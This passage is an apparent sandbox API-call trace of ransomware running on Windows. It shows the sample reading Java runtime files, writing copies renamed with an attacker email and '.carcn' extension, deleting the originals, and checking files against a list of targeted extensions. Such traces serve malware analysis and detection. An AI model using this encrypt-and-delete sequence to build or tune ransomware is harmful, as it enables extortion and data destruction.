lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.943] WriteFile (in: hFile=0x388, lpBuffer=0x4514010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4514010*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.945] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.945] WriteFile (in: hFile=0x388, lpBuffer=0x4514010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4514010*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.947] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0309.949] CloseHandle (hObject=0x388) returned 1 [0309.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.950] lstrlenW (lpString=".doc") returned 4 [0309.950] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.950] lstrlenW (lpString=".docx") returned 5 [0309.950] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0309.950] lstrlenW (lpString=".pdf") returned 4 [0309.950] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.950] lstrlenW (lpString=".xls") returned 4 [0309.950] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.950] lstrlenW (lpString=".xlsx") returned 5 [0309.950] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0309.950] lstrlenW (lpString=".ppt") returned 4 [0309.950] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.950] lstrlenW (lpString=".zip") returned 4 [0309.950] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.950] lstrlenW (lpString=".rar") returned 4 [0309.950] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.950] lstrlenW (lpString=".bz2") returned 4 [0309.950] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.951] lstrlenW (lpString=".7z") returned 3 [0309.951] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.951] lstrlenW (lpString=".dbf") returned 4 [0309.951] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.952] lstrlenW (lpString=".1cd") returned 4 [0309.952] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.952] lstrlenW (lpString=".jpg") returned 4 [0309.952] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.953] lstrlenW (lpString=".doc") returned 4 [0309.953] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.953] lstrlenW (lpString=".docx") returned 5 [0309.953] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0309.953] lstrlenW (lpString=".pdf") returned 4 [0309.953] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString=".xls") returned 4 [0309.953] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString=".xlsx") returned 5 [0309.953] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0309.953] lstrlenW (lpString=".ppt") returned 4 [0309.953] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.953] lstrlenW (lpString=".zip") returned 4 [0309.953] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString=".rar") returned 4 [0309.953] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.953] lstrlenW (lpString=".bz2") returned 4 [0309.953] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.953] lstrlenW (lpString=".7z") returned 3 [0309.953] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.953] lstrlenW (lpString=".dbf") returned 4 [0309.953] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.954] lstrlenW (lpString=".1cd") returned 4 [0309.954] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0309.954] lstrlenW (lpString=".jpg") returned 4 [0309.954] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.954] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0309.954] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0309.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0309.955] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=234068) returned 1 [0309.955] CloseHandle (hObject=0x388) returned 1 [0309.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0309.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0309.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0309.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0309.958] GetLastError () returned 0x0 [0309.958] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x39254, lpOverlapped=0x0) returned 1 [0309.975] WriteFile (in: hFile=0x374, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x39260, lpOverlapped=0x0) returned 1 [0309.982] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0309.982] WriteFile (in: hFile=0x374, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x104, lpOverlapped=0x0) returned 1 [0309.982] SetEndOfFile (hFile=0x374) returned 1 [0309.982] CloseHandle (hObject=0x374) returned 1 [0309.982] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.983] SetEndOfFile (hFile=0x388) returned 1 [0309.987] CloseHandle (hObject=0x388) returned 1 [0309.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.987] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0310.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.648] lstrlenW (lpString=".doc") returned 4 [0310.648] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0310.648] lstrlenW (lpString=".docx") returned 5 [0310.648] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0310.649] lstrlenW (lpString=".pdf") returned 4 [0310.649] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString=".xls") returned 4 [0310.649] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0310.649] lstrlenW (lpString=".xlsx") returned 5 [0310.649] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0310.649] lstrlenW (lpString=".ppt") returned 4 [0310.649] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.649] lstrlenW (lpString=".zip") returned 4 [0310.649] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.649] lstrlenW (lpString=".rar") returned 4 [0310.649] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString=".bz2") returned 4 [0310.649] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString=".7z") returned 3 [0310.649] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.649] lstrlenW (lpString=".dbf") returned 4 [0310.649] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.649] lstrlenW (lpString=".1cd") returned 4 [0310.649] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.649] lstrlenW (lpString=".jpg") returned 4 [0310.649] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.650] lstrlenW (lpString=".doc") returned 4 [0310.650] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString=".docx") returned 5 [0310.650] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0310.650] lstrlenW (lpString=".pdf") returned 4 [0310.650] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString=".xls") returned 4 [0310.650] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0310.650] lstrlenW (lpString=".xlsx") returned 5 [0310.650] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0310.650] lstrlenW (lpString=".ppt") returned 4 [0310.650] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.650] lstrlenW (lpString=".zip") returned 4 [0310.650] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.650] lstrlenW (lpString=".rar") returned 4 [0310.650] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString=".bz2") returned 4 [0310.650] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString=".7z") returned 3 [0310.650] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.650] lstrlenW (lpString=".dbf") returned 4 [0310.650] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.650] lstrlenW (lpString=".1cd") returned 4 [0310.651] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0310.651] lstrlenW (lpString=".jpg") returned 4 [0310.651] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.651] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.651] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0310.652] GetLastError () returned 0x0 [0310.652] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0310.670] WriteFile (in: hFile=0x324, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0310.681] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.681] WriteFile (in: hFile=0x324, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0310.681] SetEndOfFile (hFile=0x324) returned 1 [0310.681] CloseHandle (hObject=0x324) returned 1 [0310.682] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.682] SetEndOfFile (hFile=0x334) returned 1 [0310.688] CloseHandle (hObject=0x334) returned 1 [0310.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.688] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0310.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.689] lstrlenW (lpString=".doc") returned 4 [0310.689] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0310.689] lstrlenW (lpString=".docx") returned 5 [0310.689] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0310.689] lstrlenW (lpString=".pdf") returned 4 [0310.689] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0310.689] lstrlenW (lpString=".xls") returned 4 [0310.689] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0310.689] lstrlenW (lpString=".xlsx") returned 5 [0310.689] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0310.689] lstrlenW (lpString=".ppt") returned 4 [0310.689] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0310.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.689] lstrlenW (lpString=".zip") returned 4 [0310.690] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0310.690] lstrlenW (lpString=".rar") returned 4 [0310.690] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0310.690] lstrlenW (lpString=".bz2") returned 4 [0310.690] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0310.690] lstrlenW (lpString=".7z") returned 3 [0310.690] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0310.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.690] lstrlenW (lpString=".dbf") returned 4 [0310.690] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0310.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.690] lstrlenW (lpString=".1cd") returned 4 [0310.690] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0310.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0310.690] lstrlenW (lpString=".jpg") returned 4 [0310.690] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0310.690] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.690] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.412] GetLastError () returned 0x0 [0311.412] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x997, lpOverlapped=0x0) returned 1 [0311.413] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x9a0, lpOverlapped=0x0) returned 1 [0311.414] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.415] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf8, lpOverlapped=0x0) returned 1 [0311.415] SetEndOfFile (hFile=0x380) returned 1 [0311.415] CloseHandle (hObject=0x380) returned 1 [0311.415] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.415] SetEndOfFile (hFile=0x334) returned 1 [0311.416] CloseHandle (hObject=0x334) returned 1 [0311.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.416] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0311.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.417] lstrlenW (lpString=".doc") returned 4 [0311.417] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0311.417] lstrlenW (lpString=".docx") returned 5 [0311.417] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0311.417] lstrlenW (lpString=".pdf") returned 4 [0311.417] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0311.417] lstrlenW (lpString=".xls") returned 4 [0311.417] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0311.417] lstrlenW (lpString=".xlsx") returned 5 [0311.418] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0311.418] lstrlenW (lpString=".ppt") returned 4 [0311.418] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.418] lstrlenW (lpString=".zip") returned 4 [0311.418] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString=".rar") returned 4 [0311.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString=".bz2") returned 4 [0311.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString=".7z") returned 3 [0311.418] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0311.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.418] lstrlenW (lpString=".dbf") returned 4 [0311.418] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.418] lstrlenW (lpString=".1cd") returned 4 [0311.418] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0311.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0311.418] lstrlenW (lpString=".jpg") returned 4 [0311.418] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0311.418] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.419] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.419] GetLastError () returned 0x0 [0311.419] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x17d, lpOverlapped=0x0) returned 1 [0311.420] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x180, lpOverlapped=0x0) returned 1 [0311.422] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.422] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0311.430] SetEndOfFile (hFile=0x380) returned 1 [0311.430] CloseHandle (hObject=0x380) returned 1 [0311.430] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.430] SetEndOfFile (hFile=0x334) returned 1 [0311.431] CloseHandle (hObject=0x334) returned 1 [0311.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.431] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0311.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.432] lstrlenW (lpString=".doc") returned 4 [0311.432] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0311.432] lstrlenW (lpString=".docx") returned 5 